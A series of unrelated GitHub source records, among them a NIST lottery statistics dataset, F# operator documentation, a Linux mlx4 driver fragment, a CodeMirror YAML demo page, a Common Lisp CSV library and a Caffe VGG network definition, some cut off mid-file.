WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
// This package has the automatically generated typed clients.
package v1
|
{
"pile_set_name": "Github"
}
| null | null |
#####################################################################
# Dataset Name: Lottery
#
#Description: This is an observed/"real world" data set
# consisting of 218 lottery values
# from September 3, 1989 to April 14, 1990 (32 weeks).
# One 3-digit random number (from 000 to 999)
# is drawn per day, 7 days per week for most
# weeks, but fewer days per week for some weeks.
# We here use this data to test accuracy
# in summary statistics calculations.
#
# Stat Category: Univariate: Summary Statistics
#
# Reference: http://www.itl.nist.gov/div898/strd/univ/lottery.html
#
# Data: "Real World"
# 1 Response : y = 3-digit random number
# 0 Predictors
# 218 Observations
#
# Model: Lower Level of Difficulty
# 2 Parameters : mu, sigma
# 1 Response Variable : y
# 0 Predictor Variables#
# y = mu + e
#####################################################################
#####################################################################
#
# Certified Values
#
#####################################################################
mean = 518.958715596330
standardDeviation = 291.699727470969
autocorrelationCoefficient = -0.120948622967393
n = 218
#####################################################################
#
# Data
#
#####################################################################
162
671
933
414
788
730
817
33
536
875
670
236
473
167
877
980
316
950
456
92
517
557
956
954
104
178
794
278
147
773
437
435
502
610
582
780
689
562
964
791
28
97
848
281
858
538
660
972
671
613
867
448
738
966
139
636
847
659
754
243
122
455
195
968
793
59
730
361
574
522
97
762
431
158
429
414
22
629
788
999
187
215
810
782
47
34
108
986
25
644
829
630
315
567
919
331
207
412
242
607
668
944
749
168
864
442
533
805
372
63
458
777
416
340
436
140
919
350
510
572
905
900
85
389
473
758
444
169
625
692
140
897
672
288
312
860
724
226
884
508
976
741
476
417
831
15
318
432
241
114
799
955
833
358
935
146
630
830
440
642
356
373
271
715
367
393
190
669
8
861
108
795
269
590
326
866
64
523
862
840
219
382
998
4
628
305
747
247
34
747
729
645
856
974
24
568
24
694
608
480
410
729
947
293
53
930
223
203
677
227
62
455
387
318
562
242
428
968
|
{
"pile_set_name": "Github"
}
| null | null |
---
title: NullableOperators.( >=? )<'T> Function (F#)
description: NullableOperators.( >=? )<'T> Function (F#)
keywords: visual f#, f#, functional programming
author: dend
manager: danielfe
ms.date: 05/16/2016
ms.topic: language-reference
ms.prod: visual-studio-dev14
ms.technology: devlang-fsharp
ms.assetid: d1336d6b-a0bf-4b91-8f52-fad25e9ac212
---
# NullableOperators.( >=? )<'T> Function (F#)
The `>=` operator where a nullable value appears on the right.
**Namespace/Module Path**: Microsoft.FSharp.Linq.NullableOperators
**Assembly**: FSharp.Core (in FSharp.Core.dll)
## Syntax
```fsharp
// Signature:
( >=? ) : 'T -> Nullable<'T> -> bool when 'T : (IComparable) and 'T : (new : unit -> 'T) and 'T : struct and 'T :> ValueType
// Usage:
nullableValue >=? value
```
#### Parameters
*value*
Type: 'T
The first input value.
*nullableValue*
Type: **System.Nullable`1**<'T>
The second input value, as a nullable value.
## Return Value
True if the first value is greater than or equal to the second value.
## Remarks
If the second value is null, the result is `false`.
## Platforms
Windows 8, Windows 7, Windows Server 2012, Windows Server 2008 R2
## Version Information
**F# Core Library Versions**
Supported in: 4.0, Portable
## See Also
[Linq.NullableOperators Module (F#)](Linq.NullableOperators-Module-%5BFSharp%5D.md)
[Microsoft.FSharp.Linq Namespace (F#)](Microsoft.FSharp.Linq-Namespace-%5BFSharp%5D.md)
|
{
"pile_set_name": "Github"
}
| null | null |
<Canvas>
<Kind>42</Kind>
<Name>LightSettings</Name>
<IsMinified>0</IsMinified>
<XPosition>230.000000000</XPosition>
<YPosition>431.000000000</YPosition>
</Canvas>
<Widget>
<Kind>2</Kind>
<Name>ENABLE</Name>
<Value>1</Value>
</Widget>
<Widget>
<Kind>2</Kind>
<Name>SMOOTH</Name>
<Value>1</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>R</Name>
<Value>0.500000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>G</Name>
<Value>0.500000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>B</Name>
<Value>0.500000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>H</Name>
<Value>0.000000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>S</Name>
<Value>0.000000000</Value>
</Widget>
<Widget>
<Kind>25</Kind>
<Name>V</Name>
<Value>0.500000000</Value>
</Widget>
|
{
"pile_set_name": "Github"
}
| null | null |
SELECT * FROM USERS
INNER JOIN KNOWLEDGE_EDIT_USERS ON USERS.USER_ID = KNOWLEDGE_EDIT_USERS.USER_ID
WHERE KNOWLEDGE_EDIT_USERS.KNOWLEDGE_ID = ?
ORDER BY USERS.USER_ID
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* Copyright (c) 2004, 2005 Topspin Communications. All rights reserved.
* Copyright (c) 2005, 2006, 2007, 2008 Mellanox Technologies. All rights reserved.
* Copyright (c) 2005, 2006, 2007 Cisco Systems, Inc. All rights reserved.
*
* This software is available to you under a choice of one of two
* licenses. You may choose to be licensed under the terms of the GNU
* General Public License (GPL) Version 2, available from the file
* COPYING in the main directory of this source tree, or the
* OpenIB.org BSD license below:
*
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
*
* - Redistributions of source code must retain the above
* copyright notice, this list of conditions and the following
* disclaimer.
*
* - Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/pci.h>
#include <linux/errno.h>
#include <linux/mlx4/cmd.h>
#include <asm/io.h>
#include "mlx4.h"
#define CMD_POLL_TOKEN 0xffff
enum {
/* command completed successfully: */
CMD_STAT_OK = 0x00,
/* Internal error (such as a bus error) occurred while processing command: */
CMD_STAT_INTERNAL_ERR = 0x01,
/* Operation/command not supported or opcode modifier not supported: */
CMD_STAT_BAD_OP = 0x02,
/* Parameter not supported or parameter out of range: */
CMD_STAT_BAD_PARAM = 0x03,
/* System not enabled or bad system state: */
CMD_STAT_BAD_SYS_STATE = 0x04,
/* Attempt to access reserved or unallocaterd resource: */
CMD_STAT_BAD_RESOURCE = 0x05,
/* Requested resource is currently executing a command, or is otherwise busy: */
CMD_STAT_RESOURCE_BUSY = 0x06,
/* Required capability exceeds device limits: */
CMD_STAT_EXCEED_LIM = 0x08,
/* Resource is not in the appropriate state or ownership: */
CMD_STAT_BAD_RES_STATE = 0x09,
/* Index out of range: */
CMD_STAT_BAD_INDEX = 0x0a,
/* FW image corrupted: */
CMD_STAT_BAD_NVMEM = 0x0b,
/* Error in ICM mapping (e.g. not enough auxiliary ICM pages to execute command): */
CMD_STAT_ICM_ERROR = 0x0c,
/* Attempt to modify a QP/EE which is not in the presumed state: */
CMD_STAT_BAD_QP_STATE = 0x10,
/* Bad segment parameters (Address/Size): */
CMD_STAT_BAD_SEG_PARAM = 0x20,
/* Memory Region has Memory Windows bound to: */
CMD_STAT_REG_BOUND = 0x21,
/* HCA local attached memory not present: */
CMD_STAT_LAM_NOT_PRE = 0x22,
/* Bad management packet (silently discarded): */
CMD_STAT_BAD_PKT = 0x30,
/* More outstanding CQEs in CQ than new CQ size: */
CMD_STAT_BAD_SIZE = 0x40,
/* Multi Function device support required: */
CMD_STAT_MULTI_FUNC_REQ = 0x50,
};
enum {
HCR_IN_PARAM_OFFSET = 0x00,
HCR_IN_MODIFIER_OFFSET = 0x08,
HCR_OUT_PARAM_OFFSET = 0x0c,
HCR_TOKEN_OFFSET = 0x14,
HCR_STATUS_OFFSET = 0x18,
HCR_OPMOD_SHIFT = 12,
HCR_T_BIT = 21,
HCR_E_BIT = 22,
HCR_GO_BIT = 23
};
enum {
GO_BIT_TIMEOUT_MSECS = 10000
};
struct mlx4_cmd_context {
struct completion done;
int result;
int next;
u64 out_param;
u16 token;
};
static int mlx4_status_to_errno(u8 status)
{
static const int trans_table[] = {
[CMD_STAT_INTERNAL_ERR] = -EIO,
[CMD_STAT_BAD_OP] = -EPERM,
[CMD_STAT_BAD_PARAM] = -EINVAL,
[CMD_STAT_BAD_SYS_STATE] = -ENXIO,
[CMD_STAT_BAD_RESOURCE] = -EBADF,
[CMD_STAT_RESOURCE_BUSY] = -EBUSY,
[CMD_STAT_EXCEED_LIM] = -ENOMEM,
[CMD_STAT_BAD_RES_STATE] = -EBADF,
[CMD_STAT_BAD_INDEX] = -EBADF,
[CMD_STAT_BAD_NVMEM] = -EFAULT,
[CMD_STAT_ICM_ERROR] = -ENFILE,
[CMD_STAT_BAD_QP_STATE] = -EINVAL,
[CMD_STAT_BAD_SEG_PARAM] = -EFAULT,
[CMD_STAT_REG_BOUND] = -EBUSY,
[CMD_STAT_LAM_NOT_PRE] = -EAGAIN,
[CMD_STAT_BAD_PKT] = -EINVAL,
[CMD_STAT_BAD_SIZE] = -ENOMEM,
[CMD_STAT_MULTI_FUNC_REQ] = -EACCES,
};
if (status >= ARRAY_SIZE(trans_table) ||
(status != CMD_STAT_OK && trans_table[status] == 0))
return -EIO;
return trans_table[status];
}
static int cmd_pending(struct mlx4_dev *dev)
{
u32 status = readl(mlx4_priv(dev)->cmd.hcr + HCR_STATUS_OFFSET);
return (status & swab32(1 << HCR_GO_BIT)) ||
(mlx4_priv(dev)->cmd.toggle ==
!!(status & swab32(1 << HCR_T_BIT)));
}
static int mlx4_cmd_post(struct mlx4_dev *dev, u64 in_param, u64 out_param,
u32 in_modifier, u8 op_modifier, u16 op, u16 token,
int event)
{
struct mlx4_cmd *cmd = &mlx4_priv(dev)->cmd;
u32 __iomem *hcr = cmd->hcr;
int ret = -EAGAIN;
unsigned long end;
mutex_lock(&cmd->hcr_mutex);
end = jiffies;
if (event)
end += msecs_to_jiffies(GO_BIT_TIMEOUT_MSECS);
while (cmd_pending(dev)) {
if (time_after_eq(jiffies, end))
goto out;
cond_resched();
}
/*
* We use writel (instead of something like memcpy_toio)
* because writes of less than 32 bits to the HCR don't work
* (and some architectures such as ia64
|
{
"pile_set_name": "Github"
}
| null | null |
<!doctype html>
<title>CodeMirror: YAML front matter mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">
<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="../../addon/mode/overlay.js"></script>
<script src="../markdown/markdown.js"></script>
<script src="../gfm/gfm.js"></script>
<script src="../yaml/yaml.js"></script>
<script src="yaml-frontmatter.js"></script>
<style>.CodeMirror { border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; }</style>
<div id=nav>
<a href="https://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>
<ul>
<li><a href="../../index.html">Home</a>
<li><a href="../../doc/manual.html">Manual</a>
<li><a href="https://github.com/codemirror/codemirror">Code</a>
</ul>
<ul>
<li><a href="../index.html">Language modes</a>
<li><a class=active href="#">YAML-Frontmatter</a>
</ul>
</div>
<article>
<h2>YAML front matter mode</h2>
<form><textarea id="code" name="code">
---
receipt: Oz-Ware Purchase Invoice
date: 2007-08-06
customer:
given: Dorothy
family: Gale
items:
- part_no: A4786
descrip: Water Bucket (Filled)
price: 1.47
quantity: 4
- part_no: E1628
descrip: High Heeled "Ruby" Slippers
size: 8
price: 100.27
quantity: 1
bill-to: &id001
street: |
123 Tornado Alley
Suite 16
city: East Centerville
state: KS
ship-to: *id001
specialDelivery: >
Follow the Yellow Brick
Road to the Emerald City.
Pay no attention to the
man behind the curtain.
---
GitHub Flavored Markdown
========================
Everything from markdown plus GFM features:
## URL autolinking
Underscores_are_allowed_between_words.
## Strikethrough text
GFM adds syntax to strikethrough text, which is missing from standard Markdown.
~~Mistaken text.~~
~~**works with other formatting**~~
~~spans across
lines~~
## Fenced code blocks (and syntax highlighting)
```javascript
for (var i = 0; i < items.length; i++) {
console.log(items[i], i); // log them
}
```
## Task Lists
- [ ] Incomplete task list item
- [x] **Completed** task list item
## A bit of GitHub spice
* SHA: be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
* User@SHA ref: mojombo@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
* User/Project@SHA: mojombo/god@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
* \#Num: #1
* User/#Num: mojombo#1
* User/Project#Num: mojombo/god#1
See http://github.github.com/github-flavored-markdown/.
</textarea></form>
<p>Defines a mode that parses
a <a href="http://jekyllrb.com/docs/frontmatter/">YAML frontmatter</a>
at the start of a file, switching to a base mode at the end of that.
Takes a mode configuration option <code>base</code> to configure the
base mode, which defaults to <code>"gfm"</code>.</p>
<script>
var editor = CodeMirror.fromTextArea(document.getElementById("code"), {mode: "yaml-frontmatter"});
</script>
</article>
|
{
"pile_set_name": "Github"
}
| null | null |
(eval-when (:compile-toplevel :load-toplevel :execute)
(require 'regexp2))
(defpackage :csv
(:use :common-lisp :iterate :parse-number)
(:export #:read-csv-file
#:read-csv-stream
#:write-csv-file
#:write-csv-stream
#:read-csv-file-and-sort))
(in-package :csv)
;;; helper function
(defun parse-number-no-error (string &optional default)
(let ((result
(ignore-errors
(parse-number:parse-number string))))
(if result
result
default)))
;;; cvs utilities
;;; TODO: extend parsing for quotes and linefeeds
(defparameter *csv-separator* #\,)
(defparameter *csv-quote* #\")
(defparameter *csv-print-quote-p* nil "print \" when the element is a string?")
(defparameter *csv-default-external-format* #+allegro :932 #-allegro :sjis)
(defun write-csv-line (record &key stream)
"Accept a record and print it in one line as a csv record.
A record is a sequence of element. A element can be of any type.
If record is nil, nothing will be printed.
If stream is nil (default case), it will return a string, otherwise it will return nil.
For efficiency reason, no intermediate string will be constructed. "
(let ((result
(with-output-to-string (s)
(let ((*standard-output* s)
(record-size (length record)))
(iter (for e in-sequence record)
(for i from 0)
(typecase e
(string (progn
(if *csv-print-quote-p*
(progn
(write-char *csv-quote*)
(write-string e)
(write-char *csv-quote*))
(write-string e))))
(t (princ e)))
(when (< i (1- record-size))
(write-char *csv-separator*)))))))
(format stream "~&~a" result)))
(defun write-csv-stream (stream table)
"Accept a stream and a table and output the table as csv form to the stream.
A table is a sequence of lines. A line is a sequence of elements.
Elements can be any types"
(iter (for l in-sequence table)
(write-csv-line l :stream stream))
(write-char #\newline stream)
'(ok))
(defun write-csv-file (filename table &key (external-format *csv-default-external-format*))
"Accept a filename and a table and output the table as csv form to the file.
A table is a sequence of lines. A line is a sequence of elements.
Elements can be any types"
(with-open-file (f filename :direction :output
:if-does-not-exist :create
:if-exists :supersede
:external-format external-format)
(write-csv-stream f table)))
(defun parse-csv-string (str) ;; refer RFC4180
(coerce
;; (regexp:split-re "," str)
(let ((q-count (count *csv-quote* str :test #'char-equal)))
(cond ((zerop q-count) (regexp:split-re *csv-separator* str))
((evenp q-count)
(macrolet ((push-f (fld flds) `(push (coerce (reverse ,fld) 'string) ,flds)))
(loop with state = :at-first ;; :at-first | :data-nq | :data-q | :q-in-nq | q-in-q
with field with fields
for chr of-type character across str
do (cond ((eq state :at-first)
(setf field nil)
(cond ((char-equal chr *csv-quote*) (setf state :data-q))
((char-equal chr *csv-separator*) (push "" fields))
(t (setf state :data-nq) (push chr field))))
((eq state :data-nq)
(cond ((char-equal chr *csv-quote*) (setf state :q-in-nq))
((char-equal chr *csv-separator*)
(push-f field fields)
(setf state :at-first))
(t (push chr field))))
((eq state :q-in-nq)
(cond ((char-equal chr *csv-quote*) (error "#\" inside the non quoted field"))
((char-equal chr *csv-separator*)
(push-f field fields)
(setf state :at-first))
(t (setf state :data-nq) (push chr field))))
((eq state :data-q)
(if (char-equal chr *csv-quote*) (setf state :q-in-q)
(push chr field)))
((eq state :q-in-q)
(cond ((char-equal chr *csv-quote*) (push chr field) (setf state :data-q))
((char-equal chr *csv-separator*)
(push-f field fields)
(setf state :at-first))
(t (error "illegal value ( ~A ) after quotation" chr)))))
finally (return
(progn (push-f field fields) (reverse fields))))))
(t (error "odd number of \" ( ~A ) in a line." q-count))))
'vector))
(defun read-csv-line (stream &key type-conv-fns map-fns (start 0) end)
"Read one line from stream and return a csv record.
A CSV record is a vector of elements.
type-conv-fns should be a list of functions.
If type-conv-fns is nil (the default case), then all will be treated
as string.
map-fns is a list of functions of one argument and output one result.
each function in it will be applied to the parsed element.
If map-fns is nil, then nothing will be applied.
start and end specifies how many elements per record will be included.
If start or end is negative, it counts from the end. -1 is the last element.
"
(declare (type (or (simple-array function *) null) type-conv-fns map-fns))
(let* ((line (read-line stream nil nil)))
(when line
(let* ((strs (parse-csv-string line))
(strs-size (length strs)))
(when (< start 0)
(setf start (+ start strs-size)))
(when (and end (< end 0))
(setf end (+ end strs-size)))
(setf strs (subseq strs start end))
(when type-conv-fns
(unless (= (length strs) (length type-conv-fns))
(error "Number of type specifier (~a) does not match the number of elements (~a)."
(length strs) (length type-conv-fns))))
(when map-fns
(unless (= (length strs) (length map-fns))
(error "Number of mapping functions (~a) does not match the number of elements (~a)."
(length strs) (length map-fns))))
(let ((result strs))
;; strs is not needed so we simply overwrite it
(when type-conv-fns
(setf result
(map 'vector #'funcall type-conv-fns result)))
(when map-fns
(setf result
(map 'vector #'funcall map-fns result)))
result)))))
(defun read-csv-stream (stream &key (header t) type-spec map-fns (start 0) end)
"Read from stream until eof and return a csv table.
A csv table is a vector of csv records.
A csv record is a vector of elements.
Type spec should be a list of type specifier (symbols).
If the type specifier is nil or t, it
|
{
"pile_set_name": "Github"
}
| null | null |
1234
|
{
"pile_set_name": "Github"
}
| null | null |
name: "ris80_h2_VGG_ILSVRC_19_rgb2imNet"
input: "data"
input_dim: 10
input_dim: 3
input_dim: 224
input_dim: 224
layers {
bottom: "data"
top: "conv1_1"
name: "conv1_1"
type: CONVOLUTION
convolution_param {
num_output: 64
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv1_1"
top: "conv1_1"
name: "relu1_1"
type: RELU
}
layers {
bottom: "conv1_1"
top: "conv1_2"
name: "conv1_2"
type: CONVOLUTION
convolution_param {
num_output: 64
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv1_2"
top: "conv1_2"
name: "relu1_2"
type: RELU
}
layers {
bottom: "conv1_2"
top: "pool1"
name: "pool1"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool1"
top: "conv2_1"
name: "conv2_1"
type: CONVOLUTION
convolution_param {
num_output: 128
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv2_1"
top: "conv2_1"
name: "relu2_1"
type: RELU
}
layers {
bottom: "conv2_1"
top: "conv2_2"
name: "conv2_2"
type: CONVOLUTION
convolution_param {
num_output: 128
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv2_2"
top: "conv2_2"
name: "relu2_2"
type: RELU
}
layers {
bottom: "conv2_2"
top: "pool2"
name: "pool2"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool2"
top: "conv3_1"
name: "conv3_1"
type: CONVOLUTION
convolution_param {
num_output: 256
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv3_1"
top: "conv3_1"
name: "relu3_1"
type: RELU
}
layers {
bottom: "conv3_1"
top: "conv3_2"
name: "conv3_2"
type: CONVOLUTION
convolution_param {
num_output: 256
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv3_2"
top: "conv3_2"
name: "relu3_2"
type: RELU
}
layers {
bottom: "conv3_2"
top: "conv3_3"
name: "conv3_3"
type: CONVOLUTION
convolution_param {
num_output: 256
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv3_3"
top: "conv3_3"
name: "relu3_3"
type: RELU
}
layers {
bottom: "conv3_3"
top: "conv3_4"
name: "conv3_4"
type: CONVOLUTION
convolution_param {
num_output: 256
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv3_4"
top: "conv3_4"
name: "relu3_4"
type: RELU
}
layers {
bottom: "conv3_4"
top: "pool3"
name: "pool3"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool3"
top: "conv4_1"
name: "conv4_1"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv4_1"
top: "conv4_1"
name: "relu4_1"
type: RELU
}
layers {
bottom: "conv4_1"
top: "conv4_2"
name: "conv4_2"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv4_2"
top: "conv4_2"
name: "relu4_2"
type: RELU
}
layers {
bottom: "conv4_2"
top: "conv4_3"
name: "conv4_3"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv4_3"
top: "conv4_3"
name: "relu4_3"
type: RELU
}
layers {
bottom: "conv4_3"
top: "conv4_4"
name: "conv4_4"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv4_4"
top: "conv4_4"
name: "relu4_4"
type: RELU
}
layers {
bottom: "conv4_4"
top: "pool4"
name: "pool4"
type: POOLING
pooling_param {
pool: MAX
kernel_size: 2
stride: 2
}
}
layers {
bottom: "pool4"
top: "conv5_1"
name: "conv5_1"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv5_1"
top: "conv5_1"
name: "relu5_1"
type: RELU
}
layers {
bottom: "conv5_1"
top: "conv5_2"
name: "conv5_2"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv5_2"
top: "conv5_2"
name: "relu5_2"
type: RELU
}
layers {
bottom: "conv5_2"
top: "conv5_3"
name: "conv5_3"
type: CONVOLUTION
convolution_param {
num_output: 512
pad: 1
kernel_size: 3
}
}
layers {
bottom: "conv5_3"
top: "conv5_3"
name: "relu5_3"
type: RELU
}
layers {
bottom: "conv5_3"
top: "conv5_4"
name: "conv5_4"
type: CONVOLUTION
convolution_param {
num_
|
{
"pile_set_name": "Github"
}
| null | null |
#ifndef BILINEARPROCESSOROCL_H
#define BILINEARPROCESSOROCL_H
#include "IProcessorOCL.h"
class BilinearProcessorOCL : public IProcessorOCL
{
private:
void* _redChannel;
void* _greenChannel;
void* _blueChannel;
unsigned int _width;
unsigned int _height;
unsigned long _size;
cl::Kernel* _kernels;
cl::NDRange _globalSizes;
cl::NDRange _localSizes;
cl::NDRange _verticalSize;
cl::NDRange _horizontalSize;
cl::NDRange _greenOffsets;
cl::NDRange _greenSizes;
// Varies accordingly to pattern.
cl::NDRange _redOffsets, _redVerticalOffsets, _redHorizontalOffsets;
cl::NDRange _blueOffsets, _blueVerticalOffsets, _blueHorizontalOffsets;
cl::Buffer _redBuffer;
cl::Buffer _greenBuffer;
cl::Buffer _blueBuffer;
public:
virtual std::string GetKernelFilePath() override;
virtual void GetArguments(cl::Context& context, OC::Image::OCImage& image, cl::Kernel kernels[6]) override;
void GetKernelsStrings(OC::Image::BayerPattern pattern, std::string kernelsStrings[6]) override;
void Process(cl::CommandQueue& queue) override;
void* GetRedChannel() override;
void* GetGreenChannel() override;
void* GetBlueChannel() override;
};
#endif // BILINEARPROCESSOROCL_H
|
{
"pile_set_name": "Github"
}
| null | null |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title></title>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta name="generator" content="Doxygen 1.8.3.1">
<link rel="stylesheet" type="text/css" href="search.css"/>
<script type="text/javascript" src="pages_6c.js"></script>
<script type="text/javascript" src="search.js"></script>
</head>
<body class="SRPage">
<div id="SRIndex">
<div class="SRStatus" id="Loading">Loading...</div>
<div id="SRResults"></div>
<script type="text/javascript"><!--
createResults();
--></script>
<div class="SRStatus" id="Searching">Searching...</div>
<div class="SRStatus" id="NoMatches">No Matches</div>
<script type="text/javascript"><!--
document.getElementById("Loading").style.display="none";
document.getElementById("NoMatches").style.display="none";
var searchResults = new SearchResults("searchResults");
searchResults.Search();
--></script>
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
| null | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.